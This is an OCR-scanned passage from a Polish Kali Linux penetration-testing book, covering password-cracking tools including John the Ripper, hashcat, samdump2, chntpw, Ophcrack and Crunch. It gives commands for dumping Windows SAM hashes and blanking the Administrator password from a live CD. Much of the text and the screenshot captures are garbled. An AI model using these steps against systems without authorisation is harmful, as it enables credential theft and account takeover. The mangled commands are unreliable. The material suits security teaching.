Modyfikacja ataku słownikowego poprzez dodawanie do kolejnych wyrazów przedrostków i przyrostków alfanumerycznych.
■
Modyfikacja ataku słownikowego poprzez łączenie ze sobą poszczególnych wyrazów.
■
Zastosowanie znaków alfanumerycznych do łączenia wyrazów.
174
R o z d z ia ł 4 . • A ta k i na k lie n ty a p lik a c ji in te rn e to w y ch
■
Atak wykorzystujący wyrazy ze słowników wymieszane ze znakami specjalnymi.
■
Jeżeli żaden z powyższych ataków nie zakończy się powodzeniem, przechodzimy do ataku metodą b ru te-fo r ce.
fl
Aby w systemie Kali Linux uruchomić program Johnny, w menu głównym przejdź do grupy K ali Linux, a następnie wybierz polecenie P assw ord A ttacks/O ffin e A ttacks/johnny. Kiedy na ekranie pojawi się główne okno programu, kliknij przycisk Open Passwd File, znajdujący się na pasku narzędzi, a następnie odszukaj i wybierz plik passw d , którego hasła chcesz złamać. Na następnym rysunku przedstawiono okno programu Joh n n y z załadowanym plikiem sh ad ow , gdzie celem ataku są hasła dla kont użytkowników B O B, m ary i jo e y . Kolumna Passw ord zostanie wypełniona hasłami po zakończeniu procesu łamania.
Z lewej strony głównego okna programu Johnny znajdują się przyciski kart zawierających różne opcje konfiguracyjne programu. Rodzaj ataku możesz wybrać na karcie Options. Na kolej nym rysunku przedstawiono opcje pozwalające na zdefiniowanie domyślnego zachowania programu oraz wybranie typu funkcji skrótu. Warto zauważyć, że opcje automatycznego roz poznawania typu haseł oraz sposobów haszowania i szyfrowania działają poprawnie w około 90% przypadków.
175
K a li L in u x . T e s ty p e n e tra c y jn e
Na karcie Statistics wyświetlane są informacje o przebiegu i czasie trwania aktywnej sesji. Karta Settings pozwala z kolei na zmianę sposobu działania programu (zobacz rysunek poniżej).
Pamiętaj, że domyślna konfiguracja ścieżek dla programu John the Ripper może nie być poprawna. Przed uru chomieniem sesji łamania haseł powinieneś przejść na kartę Settings i sprawdzić ustawienia wszystkich ścieżek. W starszych wersjach systemu BackTrack trzeba było zazwyczaj zmienić domyślną ścieżkę pro gramu John the Ripper na /pentest/passwords/john/john. W systemie Kali Linux 1.0 John the Ripper jest domyślnie zainstalowany w katalogu /user/sbin/john.
Na karcie Output znajdziesz informacje na temat aktualnego ataku. Znajdziesz tam również ewentualne komunikaty o błędach oraz aktualizacje statusu bieżącego ataku. Poniżej zamiesz czamy przykład komunikatu wyświetlanego przez program Johnny, dotyczącego identyfikacji typu wartości funkcji skrótu. Warning: detected hash type “sha512crypf. but the string is also recognized as "crypt" Use the “--format=crypt" option to force loading these as that type instead uch file or directory
176
R o z d z ia ł 4 . • A ta k i na k lie n ty a p lik a c ji in te rn e to w y ch
fl
Domyślne słowniki, w jakie zostały wyposażone programy John the Ripper oraz Johnny, są niestety dosyć ubogie. Z tego powodu zdecydowanie zalecamy stosowanie innych, bardziej rozbudowanych słowników, które bez większych problemów można pobrać z internetu. Aby skorzystać z własnego słownika, przejdź na kartę Options i wybierz opcję W ordlist m od e. Od szukaj i zaznacz swój plik słownika, a następnie kliknij przycisk Apply. General options F tM rn .il:
| A u lo r ł r l c t I
Mode? se le ctio n an d s e llin g s C
D e fa u lt b e h a v io u r
(
" S i n g le c r a c k " m o d e
O
w o r d lls t m o d e
C
" I n c r e m e n ta l" m o d e
E x te r n a l m o d e D e fa u lt b e h a v io u r
Output
“S in g le c r a c k " m o d e
V t o i l li s l m u rk -
" in c re m e n ta l“ m o d e
E x te rn a l m o d e
Wnrrllut mrwlr i i v . rt«tn fmm aniriliV filr A* nn nfMitinn m li. rnulrl h r npplirrl V rtio n 'WnriliV* would h r i iv d to rr
/root/Desktop/wordlistlst
W o rd h s t file . □ O
▼ 1i
Brow;
|Q be ru le s
TU
lis t* c x l c r i h il m o d e , filiert m m c :
Po znalezieniu właściwego hasła Johnny umieszcza je w odpowiednim miejscu w kolumnie Pas sw ord. Na następnym rysunku możemy zobaczyć, że dwa z trzech haseł zostały już złamane: BOB
Programy hashcat oraz oclHashcat to narzędzia przeznaczone do łamania haseł. Program ocl Hashcat jest narzędziem zoptymalizowanym do działania ze wsparciem GPU (procesorów karty graficznej). Oba narzędzia, hashcat oraz oclHashcat, działają w trybie wielowątkowym i po zwalają na łamanie wielu haseł jednocześnie w czasie sesji. Użytkownik ma do dyspozycji wiele różnych opcji i profili łamania haseł, takich jak ataki siłowe, kombinowane, słownikowe, hybrydowe albo bazujące na określonych zestawach reguł.
177
fl
K a li L in u x . T e s ty p e n e tra c y jn e
System Kali Linux oferuje kilka różnych wersji pakietu hashcat. Przyrostek o c l (ang. op en cl) oznacza otwartą implementację sterowników kart graficznych, pozwalających na zunifikowanie oprogramowania dla kart Nvidia oraz ATI. W zależności od konfiguracji sprzętowej Twojego komputera niektóre z tych wersji mogą działać niepoprawnie i wymagać aktualizacji. Najlep szym rozwiązaniem będzie pobranie najnowszych wersji tego oprogramowania ze strony http://hashcat.net/oclhashcat/. Aby uruchomić program hashcat, w menu głównym systemu przejdź do grupy K ali Linux, a następnie wybierz polecenie Passw ord A ttacks/O ffin e A ttacks/hashcat. Aby wywołać program hashcat, powinieneś użyć następującej składni polecenia: hashcat [ o p c j e ] p l i k h a s e ł [ p l i k s ł o w n i k a ] . Na rysunku poniżej przedstawiamy przykład za stosowania programu hashcat do łamania haseł przechowywanych w pliku shadow .
root(i)kali :~# hashcat /root/Desktop/shadow /root/Desktop/wordtist .1st Initializing hashcat V0.44 by atom with 8 threads and 32mb s e g m e n t - s i z e ... Program hashcat posiada również graficzny interfejs użytkownika, który odgrywa rolę graficznej nakładki dla konsolowej wersji programu. Wielu użytkowników bardzo sobie chwali takie rozwiązanie, ponieważ nakładka graficzna jest bardzo przejrzysta i prosta w użyciu, a dodatkowo w dolnej części okna wyświetla pełny wiersz wywołania programu ze wszystkimi opcjami ustawionymi za pomocą opcji graficznych (zobacz pierwszy rysunek na następnej stronie).
samdump2 Program samdump2 to narzędzie, za pomocą którego możesz wydobyć listę wartości funkcji skrótu haseł kont użytkowników systemu Windows, przechowywanych w pliku SAM, i użyć je j do łamania haseł w innym programie. W przypadku nowszych wersji systemu Windows będziesz dodatkowo musiał zdobyć klucz uruchamiania systemu (b o o tk ey ), który będzie nie zbędny do uzyskania dostępu do zawartości pliku SAM. Aby uruchomić program samdump2, w menu głównym systemu przejdź do grupy K ali Linux, a następnie wybierz polecenie Passw ord A ttacks/O ffline A ttacks/sam dum p2. Gdy wybierzesz to polecenie, na ekranie otworzy się nowe okno terminalu (zobacz drugi rysunek na następnej stronie). Aby program samdump2 mógł odczytać zawartość pliku SAM, musisz najpierw zamontować partycję systemu Windows (zobacz trzeci rysunek na następnej stronie).
178
R o z d zia t 4 . • A ta k i na k lie n ty a p lik a c ji in te rn e to w y ch
samdump2 1.1.1 by Objectif Sécurité http://www.obj ectif-sécurité.ch original author: ncuomo
ro ot@ kali:-# | ro o t@ k a li:-# mkdir /mnt/windows ro o t(akali:~# mount -t n tfs -3 g /dev/hdbl/mnt/windows|
179
fl
fl
K a li L in u x . T e s ty p e n e tra c y jn e
Następnie powinieneś przekopiować pliki SAM oraz SYSTEM do wybranego katalogu robo czego na dysku lokalnym Twojego komputera. cp SAM SYSTEM /ro o t/A tta ckD ire cto ry Teraz przejdź do katalogu roboczego i wykonaj polecenie bkhive SYSTEM bootkey, za pomocą którego odtworzysz klucz uruchamiania systemu Windows. Skopiuj uzyskany klucz do pliku tekstowego, tak aby później program samdump2 mógł z niego skorzystać podczas odczytywa nia zawartości pliku SAM. cd /ro o t/A ttack D ire cto ry > w in d o w sh ash file s.txt Wykonaj polecenie samdump SAM bootkey. Skopiuj wyniki działania polecenia do osobnego pliku tekstowego. Samdump2 SAM bootkey > w in dow shashfiles2.txt Teraz możesz już użyć dowolnego programu do łamania haseł, takiego jak John the Ripper!
chntpw Pakiet chntpw to popularne narzędzie, które można znaleźć w systemach Kali Linux, Backtrack oraz wielu dystrybucjach linuksowych, przeznaczone do resetowania haseł kont użytkowników w systemie Windows 8 i wcześniejszych jego wersjach. Po uruchomieniu program modyfikuje bazę danych kont użytkowników systemu Windows. Narzędzie to pozwala na uzyskanie do stępu do systemu Windows w sytuacji, kiedy nie znasz lub nie pamiętasz hasła dostępu. Jeżeli chcesz skorzystać z programu chntpw, musisz uruchomić komputer z systemem W in dows z płyty Kali Live CD. Aby przygotować płytę Kali Live CD, uruchom przeglądarkę, przejdź na stronę h ttp://w w w .kali.org/dow n loads/ i pobierz odpowiednio obraz ISO systemu. Korzystając z pobranego obrazu ISO , zapisz płytę Kali Live C D i uruchom z niej komputer, na którego dysku twardym zainstalowany jest system Windows. Kiedy na ekranie pojawi się menu startowe systemu Kali, wybierz opcję L ive (forensic m od e) (zobacz pierwszy rysunek na na stępnej stronie). Plik gałęzi SAM rejestru je st zazwyczaj zlokalizowany w katalogu /W indow s/System 32/config. Otwórz okno terminalu i przejdź do tego katalogu. Pełna ścieżka do tego katalogu może wy glądać następująco (zobacz drugi rysunek na następnej stronie): /media/hda1/Windows/System32/config
180
R o z d z ia ł 4 . • A ta k i na k lie n ty a p lik a c ji in te rn e to w y ch
/media/EC08E2D208E29ABA/Windows/System32/config root(dk ■1 1 :/media/EC08E2D208E29ABA/Windows/System32/config# ) W każdym systemie może to wyglądać nieco inaczej. W naszym przykładzie Kali do zlokali zowania urządzenia używa numeru seryjnego dysku twardego. D zieje się tak, ponieważ ten zrzut ekranu został wykonany na maszynie wirtualnej z systemem Windows 7 po uruchomie niu jej z płyty Kali Live CD. Plik SAM znajduje się zazwyczaj w katalogu zamapowanym jako /m ed ia/ < n azw a-dy sku -tw ardego> fW in dow s/S ystem 3 2 /con fig . Na kolejnym rysunku przedstawiamy pliki bazy SAM zlokalizowane na twardym dysku.
roouakal i : /media/EC08E2D208E29ABA/Windows/System32/confiq# I s -1 SAM* -rw............. 1 root root 262144 J u l 5 2013 SAM -rw 1 root root 1024 Apr 12 2011 SAM.LOG -rw................2 root root 25600 J u l 5 2013 SAM.LOGI -rw............. 2 root root 0 J u l 14 2009 SAM.L0G2 root(akai i :/media/F('08F/fl/08F/9ABA/Windows/<>ysteml//conf i a# B_________ Polecenie chntpw - l SAM spowoduje wyświetlenie listy wszystkich nazw kont użytkowników istniejących w danym systemie Windows. Na rysunku zamieszczonym na następnej stronie przedstawiamy wyniki działania tego polecenia.
181
fl
K a li L in u x . T e s ty p e n e tra c y jn e
* SAM policy limits: Failed logins before lockout is: 0 Minimum password length Password history count | fc\B 1 RID - ........... Username ...... ...... 1 Admin? - Lock? --| 1 01 f4 Administrator 1 ADMIN dis/lock 1 I 03e8 alakhanl 1 ADMIN d isAock j 1 01 f5 Guest 1 HumyG ruupllse r$ 1 03ea 1 r o o t @ k a li:/ m e d ia / C C 0 8 C 2 D 2 0 8 C 2 9 A B A / M in d o w s / S y s t e m 3 2 / c o n f i g # |
Wynikiem działania polecenia chntpw - l SAM je st wyświetlenie listy nazw kont użytkownika istniejących w systemie, z którego pochodzi dany plik SAM. Kiedy już znajdziesz nazwę konta użytkownika, które chcesz zmodyfikować, powinieneś wykonać następujące polecenie: chntpw -u "nazwa-konta" SAM. W naszym przykładzie wykonaliśmy polecenie chntpw -u " A d m in is t r a t o r " SAM i na ekranie pojawiło się menu przedstawione na następnym rysunku.
I
n\1U 1 I U 11K IL
J/ \
* - - - User Edit Menu: k\ l U A 1 - Clear (blank) user password 2 - Edit (set new) user password (careful with this on XP or Vista) 3 - Promote user (make user an administrator) (4 - Unlock and enable user account) [seems unlocked already] q - Quit editing user, back to user select Select: [q] > |
Jak łatwo zauważyć, możemy teraz usunąć hasło użytkownika (opcja Clear (blank) user password), zmienić jego hasło (opcja E d it (set new ) u ser passw ord) lub nadać użytkownikowi prawa ad ministratora systemu (opcja P rom ote u ser (m ake u ser an adm inistrator)). W systemie Windows 7 zmiana hasła nie zawsze działa, stąd w przypadku tego systemu zalecanym rozwiązaniem jest po prostu usuwanie hasła. Po wykonaniu takiej operacji będziesz mógł się zalogować do systemu na wybrane konto użytkownika bez podawania hasła. Aby w systemie Kali Linux uruchomić program chntpw, w menu głównym przejdź do grupy Kali Linux, a następnie wybierz polecenie Password A ttacks/O ffine Attacks/chntpw. Na ekranie pojawi się okno terminalu, w którym wyświetlony zostanie ekran pomocy polecenia chntpw. Istnieje kilka różnych sposobów wykorzystania programu chntpw, o czym można się przekonać, patrząc na kolejny rysunek: chntpw version 0.99.6 080520 (sixtyfour), (c) Petter N Hagen chntpw: change password of a user in a NT/2k/XP/2k3/Vista SAM file, or invoke re gistry editor. chntpw [OPTIONS] (systenfile) (securityfile) (otherreghlva] (...) -h This tiossago -u User-nano to change. Administrator is default -1 list all users in SAM file -i Interactive. List users (as -1) then ask for usemane to change e Registry editor. Now with full write support! -d Enter buffer debugger instead (hex editor), -t Trace. Show hexdump of structs/segeents. (deprecated debug function
)
e
•v ■L -N
Be a little more verbose (for debuging) Write nanes of changed files to /tnp/chonged No allocation node. Only (old style) sane length overwrites possibl
See readne file on how to get to the registry files, and what they are. Source/binary freely distributable under GPL v2 license. See README for details. NOTE: This program is sonewhat hackish! You are on your own!
|ro<>t«k..fi 182
i
n 7 M n n ri nnmnvv7
R o z d z ia ł 4 . • A ta k i na k lie n ty a p lik a c ji in te rn e to w y ch
fl
Aby uruchomić program chntpw w trybie interaktywnym, powinieneś wpisać chntpw - i , a następ nie podać ścieżkę do pliku SAM. Jeżeli celem takiej operacji jest zamontowany system plików Win dows, będziesz musiał podać pełną ścieżkę do pliku SAM wewnątrz zamontowanego katalogu. Na ekranie pojawi się menu z opcjami pozwalającymi na różne modyfikacje pliku SAM. Aby usunąć hasło użytkownika, powinieneś wybrać opcję 1 - C lear (blank) u ser passw ord. Account bits: 0x0211 > |X| Disabled I II I ] Teap. duplicate I |x| I ] Doeain trust ac | I I IX] Pwd don't expir I I I I 1 (unknown 0x10) | I I
I I IPassed not req. I I Ibus account j I ISrv trust act I I I(unknown 0x00) | I I(unknown 0x40)
| I | I
j
Failed login count: 0. while eax trios is: 0 Total loqin count: 25 • • • • User Edit Henu: 1 ■ Clear (blank) user password 2 • Edit (set new) user password (careful with this on XP or Vista) 3 - Proaote user (aake user an adainistrator) 4 - Unlock and enable user account [probably locked now] q • Quit editing user, back to user select Select: [q] > I
Ophcrack Pakiet Ophcrack to program przeznaczony do łamania haseł systemu Windows w oparciu o tabli ce tęczowe. W systemie Kali Linux znajdziesz zarówno wersję konsolową, jak i wersję wypo sażoną w graficzny interfejs użytkownika. Ophcrack potrafi importować wartości funkcji skrótu haseł w różnych formatach, łącznie ze skrótami pozyskanymi bezpośrednio z pliku SAM systemu Windows. Na następnym rysunku możesz zobaczyć kilka spośród dostępnych formatów wartości funkcji skrótu, które możesz załadować do programu O phcrack. Ry]
t)
Load
D c -lc lr
<4 T u S.1 VC
®
T.lbłt-S
f j.ic k
O
o
G
H e lp
F xil
A I kmi I
S in g le hash PldctCfK.CS
PWLXJMP file
SessionWe
M H d ih
NT H as h
LM Pw d 1
LM Pw d 2
NT Pwd
E n cryp te d SAM
T dU c
P reload:
D u c c lo iy
w a itin g
SU ilir»
U rute fo rc e :
w a itin g
P io yicb b
Pw d fo un d:
0A)
lim e ela pse d:
O hum us
183
K a li L in u x . T e s ty p e n e tra c y jn e
Pakiet Ophcrack posiada swoje własne, wbudowane, domyślne tablice tęczowe (zobacz kolej ny rysunek), aczkolwiek zanim rozpoczniesz korzystanie z programu, zdecydowanie polecamy pobranie z internetu ich najnowszych wersji. Tablice tęczowe możesz pobrać z wielu źródeł internetowych, takich jak na przykład strona autora programu Ophcrack, h ttp://ophcrack.sou rceforg e.n et/tables.p h p .
Aby w systemie Kali Linux uruchomić program Ophcrack, w menu głównym przejdź do grupy K ali Linux, a następnie wybierz polecenie P assw ord A ttacks/O ffline A ttacks/op h crack (wersja graficzna; w ersję konsolową możesz wywołać za pomocą polecenia ophcrack-cli). Kiedy na ekranie pojawi się okno programu, kliknij przycisk L o a d i wybierz ścieżkę do pliku zawierającego hasła, które chcesz złamać (na przykład plik SAM z systemu Windows).
184
R o z d z ia ł 4 . • A ta k i na k lie n ty a p lik a c ji in te rn e to w y ch
fl
W naszym przykładzie maszyna normalnie pracująca pod kontrolą systemu Windows została uruchomiona z płyty Kali Live C D ; następnie wybraliśmy opcję Forensics. Plik SAM został skopiowany z katalogu /w indow s/system 32/config. W ięcej szczegółowych informacji na temat pracy z systemem Kali Linux w trybie Forensics znajdziesz w rozdziale 7., „Przeciwdziałanie i zapobieganie”. A p p lica tio n s
P laces
Su n Ju l 2 1 , 2 :0 7 PM S e l e c t th e d irectory c ontaining th e en cry p te d SAM and SY S T E M file s
_
media
4CF45B8BF45B75E4
Places
Name
QL Search
■1 systemprofile
W IN D O W S
s y s te m 3 2
config
C re a te F o ld e r
V
Size
Modified
0 R ecently Used
18:54 23 2.0 KB 18:54
13 root
1.0 KB
18:54
t_j File System
88 0 KB
05/08/2013
□ Floppy Drive
1256.0 KB
a Desktop
□
05/09/2013
■
1.0 KB
J 43 GB Filesy...
18:53
256.0 KB 18:54 18:54
■
8.2 MB
18:54
1.0 KB
18:54
6 1 6 .0 KB 05/08/2013
Po załadowaniu pliku do programu Ophcrack powinieneś zobaczyć na ekranie listę nazw kont użytkowników i wartości funkcji skrótu ich haseł. Aby przystąpić do łamania haseł, kliknij przycisk C rack; potem pozostaje już tylko czekać na wyniki (zobacz pierwszy rysunek na następnej stronie).
Crunch Pakiet C runch to narzędzie przeznaczone do generowania listy haseł. Takie narzędzie może być niezmiernie pomocne zwłaszcza w sytuacji, kiedy udało Ci się zdobyć informacje na te mat sposobu generowania haseł w atakowanym systemie. Jeżeli udało Ci się na przykład przechwycić dwa hasła użytkowników i zauważyłeś, że każde z nich zawiera słowo, po którym następuje kilka losowych cyfr, to możesz użyć programu Crunch do szybkiego wygenerowania listy potencjalnych haseł (zobacz drugi rysunek na następnej stronie).
185
fl
K a li L in u x . T e s ty p e n e tra c y jn e
Load Progress
ti
ł!
Delete
L/
Save
Tabes
O
Ô
Stop
Help
^
G
Exit
About
Statistics
LM Hash 1 NT Hash User ISipervlsor. 31D6CFE0... 1EFB2030F... toto Administrator 9d483a84a... 33cc539403.. Philippe b906f7976d.. b91e46819. Guest 3b5d42642... fff23d5f2a0... eaef446i97... ac051662cd.. ce304571fc.. db129418a... da7e06bcbb.. al3aa0bf3a.. f01d6862af... Table • XP free fast « tableO • table 1 « table? • tabie3 • Vista free • tabid • table3 É • XP Preload: |
LM Pwd 1
LM Pwd 2
GUESSME MAISON2 ZF2YI1P TR3 «#%
001 empty 5PKMWP4 empty empty
| Brute force: |
I*
GuessMeOOl maisonZ zf2\11p5PhMwP4 tr3 !#% 0*. —
I Directory | Status | /mnt/ext3Aa... 36% in RAM 36% in RAM 36% in RAM 36% in RAM 36% in RAM /mnt/ext3/ta . 22% in RAM 43% in RAM 43% In RAM fmni/ext3/la... 10% In RAM a
done
NT Pwd empty
done
Progress
i | Pwd fo ird : |
9/29
| Time elapsed: j
Oh 2m 38s
cru n ch
iCrunch con cranta a v o rd lis t based an c r it e r ia you sp ecify . nclï can bo Sin t to the serowi, M tc, or to another program
The eutput frpii cru
Usoge; c r u n c h urin> «traio [options] VTiana mln and nas ara members
Pleas» rafar to the nan paga fo r in stru ctio n s and exanptes on how Co usa crunch. rootgkall[
W programie Crunch możesz używać kilku znaków specjalnych: ■
@— wstawia małe litery,
■
%— wstawia cyfry,
■
, — wstawia wielkie litery,
■
^ — wstawia symbole.
W naszym przykładzie założymy, że nasz cel używa hasła zawierającego ciąg znaków pass, po którym następują dwa nieznane znaki. Aby wykorzystać program Crunch do wygenerowania listy potencjalnych haseł, do reprezentacji nieznanych cyfr możesz użyć znaków %%. Na rysunku zamieszczonym poniżej przedstawiamy sposób użycia programu Crunch do wygenerowania listy haseł zawierających ciąg znaków pass i dwie cyfry, a następnie do zapisania ich na dysku, w pliku o nazwie new passw ordlist.txt. ro o ttfk d l i crunch 6 6 -t passed » newpasswordlist.txt Crunch w ill now generate tho following amount of data: 4732 bytes
0 0 0 0
MB GB TB PB
Crunch w ill now r o o t ( ik d l i: ~ #
186
R o z d z ia ł 4 . • A ta k i na k lie n ty a p lik a c ji in te rn e to w y ch
fl
Plik będący wynikiem działania tego polecenia zawiera listę wszystkich możliwych kombinacji ha seł (zgodnych z regułami podanymi przy wywołaniu programu). Na kolejnym rysunku przed stawiono początkowy fragment zawartości pliku. nrw passw o rd llst.txt File
Edit
Search
Options
Help
passO0 passGl pass02 pass03 pass04pass05 pass06 pass07 pass08 pass09 p a ss10 p ass11 Aby wygenerować hasła, które będą miały na końcu dwa znaki pisane małymi literami, powi nieneś użyć polecenia c ru n c h 6 6 - t pass@@, gdzie ciąg znaków @@ reprezentuje dwie małe litery, jak przedstawiono na następnym rysunku: rootlfkali:-# crunch 6 6 -t passSht » newpasswordlist.txt Crunch w ill now generate the following amount of data: 706 bytes 0 MB 0 GB a
tb
0 PB Crunch w ill now generate the following number of lin e s : 100
Teraz nasz tekstowy plik wynikowy zawiera hasła kończące się wszystkimi możliwymi kombi nacjami dwuznakowego ciągu małych liter. Fragment zawartości pliku wynikowego został po kazany poniżej: ncwpasswordlist.txt File
Inne narzędzia dostępne w systemie Kali Linux Oczywiście w systemie Kali Linux możesz znaleźć wiele innych bardzo użytecznych narzędzi. W naszej książce z oczywistych powodów ograniczyliśmy się niemal wyłącznie do omawiania narzędzi, które można wykorzystać podczas przeprowadzania testów penetracyjnych aplikacji internetowych. W szczególności Kali Linux posiada wiele innych narzędzi wspomagających łamanie haseł, ale niestety przedstawianie ich wykracza już daleko poza ramy tej książki.
Hash-identifier Pakiet Hash-identifier to narzędzie napisane w języku Python, przeznaczone do identyfikacji typów haszowanych wartości. Większość narzędzi służących do łamania haseł, na przykład John the Ripper, posiada wbudowane bardzo dobre mechanizmy identyfikacji typów haszowanych wartości, których skuteczność przekracza nawet 90%. Program Hash-identifier może być wykorzystywany w sytuacji, kiedy musisz ręcznie dokonać identyfikacji danej wartości. Aby to zrobić, powinieneś uruchomić program Hash-identifier i wkleić do niego wartość, którą chcesz zidentyfikować. Na rysunku poniżej przedstawiono przykładowe wyniki działania programu. File Edit View Terminal Help
R o z d z ia ł 4 . • A ta k i na k lie n ty a p lik a c ji in te rn e to w y ch
fl
dictstat Pakiet dictstat to narzędzie napisane w języku Python, wykorzystywane do analizy słowników, list wyrazów i wyników działania programów do łamania haseł. Program d ic tsta t analizuje poda ną listę wyrazów i na ich podstawie tworzy maskę, której możesz użyć do przeprowadzenia ataku metodą siłową (b ru te-force). Dzięki takiej masce proces łamania haseł może zostać zna cząco ułatwiony, zwłaszcza w sytuacji, kiedy w danym środowisku hasła są tworzone według określonych reguł, zgodnie z wdrożoną polityką bezpieczeństwa. Na rysunku poniżej przed stawiono ekran pomocy programu d ic ts ta t. [7] Fsyc-i i s not a v a ila b le . In s t a ll Psyeo en 3 2 -h lt systons la r fa ste r p a rsin g. Usage: d l i e stai feptlons) passwords. « fl
OprlOrtS:
-"V*r*ien -b , --h elp -1 9 , -- le n g t h ^ -e loweralptio,
Shew program'* ver*i<*i rumbęr end e xit show th is help message wid e xit Pesswond len gth f i l t e r ,
■ -oha n e t =1 owe ralph*
Password charset f ilt e r . ■m s t r ln g d ig it , ■-iu 5k=5trin fld igilt Password nask f i l t e r -o masks .c s v , - -ra5koutput=oasks.csv Sava masks to a f i l e
rteUH.ii
Aby uruchomić program d ic ts ta t, w oknie terminalu wpisz polecenie d i c t s t a t [o p cje] p a s s w o r d s . t x t . Na rysunku poniżej widnieje przykład wywołania polecenia d ic ts ta t. iu. ■i,j-. 11 :-f die tst at t nost /DasktopriB . W .hast [71 PsyCP 15 net available- Install PsytO pn îî-bit EVEtpes for fiSter parsing, [“j Analysing passwords: /neot/Dajktop/Afl.HG.hash j.j analyzing 1-M* (1-&Î/1G2) passwords NOTE: Statistics P e l ™ is relative te the nunbor of arialyied paspejrds. not total number of passwords
['1 Lin e Count - S t a t is t ic s - .. [-J 32: IG n (JB2) [■I Mask Statistic*,.-
[*j
otrarnask
'-m
m
l o
g »
['I Charset i t a t l i t K t . . .
[»j
loweralpharnn: 160S ( I9 Î)
[*J Advanced nask s t a t i s t i c s . . . rcatflfe-i I --i ]
RainbowCrack (rcracki_mt) Pakiet Rainbow Crack to program do łamania haszowanych haseł, który potrafi samodzielnie generować tablice tęczowe, wykorzystywane później podczas łamania haseł. Program RainbowCrack działa inaczej niż standardowe programy do ataków siłowych, ponieważ wykorzystuje ogromne tablice wstępnie obliczonych wartości do zredukowania ilości czasu niezbędnego do złamania hasła. RainbowCrack to naprawdę ciekawa aplikacja o ogromnych możliwościach, acz
189
fl
K a li L in u x . T e s ty p e n e tra c y jn e
kolwiek w internecie można obecnie bez trudu znaleźć i pobrać rozbudowane tablice tęczowe, których potem możesz użyć w innych programach do łamania haseł. Tablice tęczowe możesz na przykład pobrać ze strony h ttp s://w w w .freerain bow tables.com /. Na rysunku poniżej został przedstawiony wygląd ekranu pomocy programu RainbowCrack. C ę p y r lg h ę 2 0 0 3 -2 0 1 9
i f l f f i c l ł l w ap & ite :
P r g j e ę i , k\\ r i f l f l t f P H e n n t i .
http :/ / p r o ] e t t -r*in iw w ę
ra c k ,c « /
usage: rcratk nerach rtraek Ptf*ck -h -1 -f -rt
rt tiles [rt_filis ...J -h has* rt_Tll*s[rt_fil+9 ... J -l iash_lisi_flli pt_fil#s[rt_fil*a ...] -f pwdünp_file pę” fileś[rt” fll+s , -n pwdJnTrile path t « th* r i i A b w tafcl*(»k «ildehipl** ?| supfüsrt*di hash: l&ad singla has* hB9h_Ust_flll£ load hashis ffr m a f11«^ oath hash in a lina p4nTÍjrp_flio: load I anna naga r hashos fro« pvd-irp fili p*durp_filo: load ntln hasfias fron pwdunp fila
hash algarithns iraplaiwntod in alglib&.sa: In, plaintBKt_lnn liait: Ö - 7 ntle, plaintaxt_lBn Uni t : 3 ■ 15 m rt. p t a in t f lx t _ t s r . t m H : 0
-
łfwl, p\łlntiKC_\łn tl*H; H ■ IB nyf 161 [20 hłl tt»ęh*U. pl »int n rrt la c h a lA , iflO n tiK t T l A l H y i H H i orocU-SYSTEN, plłlnt*«t_l-4n Unit! 0 P
eiam pl-SI r e r a t k V r t -h 5 (H M 0 íilx 4 b 2 i7 íb 5 7 i9 lH L 1 0 1 7 c 5 S 2 r t r a i k * . r"i -1 M i . b i t i c v T ^ l u t i : -i
findmyhash Pakiet findmyhash to skrypt napisany w języku Python, który do łamania haszowanych haseł wykorzystuje bezpłatne usługi sieciowe. Z tego względu do poprawnego działania tego na rzędzia niezbędne jest aktywne połączenie z internetem. Na rysunku poniżej pokazano przy kład działania programu findmyhash podczas próby złamania hasła zahaszowanego przy uży ciu algorytmu M D 5 (zobacz rysunek na następnej stronie).
phrasendrescher Pakiet phrasendrescher to modułowe i wielowątkowe narzędzie do łamania haseł. Program phrasendrescher posiada wiele wtyczek oraz interfejs API, dzięki któremu możesz tworzyć swoje własne wtyczki.
CmosPwd Pakiet CmosPwd to narzędzie przeznaczone do łamania haseł zabezpieczających B IO S kom putera (ang. B asic Input Output System). Program ten pozwala na kasowanie, tworzenie kopii zapasowych i odtwarzanie zawartości pamięci CM OS.
190
R o z d z ia ł 4 . • A ta k i na k lie n ty a p lik a c ji in te rn e to w y ch
ro«>tflh.»li
fl
fin d a y h a sh HD5 -h bl9cdd8fet>55cb888c97ac77ablad«B2
C r a c k in g h a sh : bl9cdd8f0bS5
(h t t p : / / a d 5 . t h a k a i n a . d a )..,
. . . hash not found i n th a k a in a A n a ly z in g w ith tn to (h ttp :/ / w w w .tn to .o r g ) . . . , . . hash not found i n ta to A n a ly z in g w ith ra d n o iza ( h ttp :/ / a d S .r a d n o lz a . . . hash not found i n r a d n o ifa ^ 7 I ^ \ I- ] A n a ly z in g w ith nd5-db (h t t p : //ia d S -d b .lo a)U -_ , has h not found in ndB-ab A n a ly z in g w ith n y -a d d r ( h t t p :/ / a d 5 .a y -a d d r .c o » ) . . . , , . hash not found i n a y ■add r A n a ly z in g w ith ndSpass ( h t t p : / / a d 5 p a s s .in f o ) . . . . . . hash not found i n ndSpass
creddump Pakiet creddump to narzędzie napisane w języku Python, które umożliwia wydobywanie da nych uwierzytelniających i innych sekretów z gałęzi rejestru systemu Windows. Program creddump potrafi wydobywać hasze LM oraz NT (szyfrowane za pomocą programu SYSKEY), przechowywane w systemie hasła użytkowników domenowych i sekrety LSA.
Podsumowanie Hosty działające pod kontrolą systemów Windows i Linux to najczęściej używane klienty aplikacji internetowych. Przełamanie zabezpieczeń hosta bardzo często pozwala pentesterowi na uzyskanie dostępu do aplikacji będącej celem ataku. Taka oczywista, zdawałoby się, moż liwość ataku je st bardzo często pomijana w czasie wielu testów penetracyjnych. W tym rozdziale omawialiśmy wiele różnych metod pozwalających na uzyskanie nieautory zowanego dostępu do hostów będących klientami aplikacji internetowych. Skoncentrowali śmy się na metodach socjotechnicznych, identyfikacji hostów podatnych na ataki oraz meto dach i narzędziach wspomagających łamanie haseł. W internecie, i nie tylko, można znaleźć wiele źródeł opisujących metody przełamywania zabezpieczeń systemów, które w połączeniu z informacjami przedstawionymi w tej książce mogą okazać się bardzo użyteczne. Zakres te matów omawianych w tym rozdziale został ograniczony do zagadnień związanych z przepro wadzaniem ataków na hosty będące klientami aplikacji internetowych. W kolejnym rozdziale będziemy zajmować się atakami, których celem są metody wykorzy stywane przez aplikacje internetowe do uwierzytelniania klientów i użytkowników.
191
fl
K a li L in u x . T e s ty p e n e tra c y jn e
192
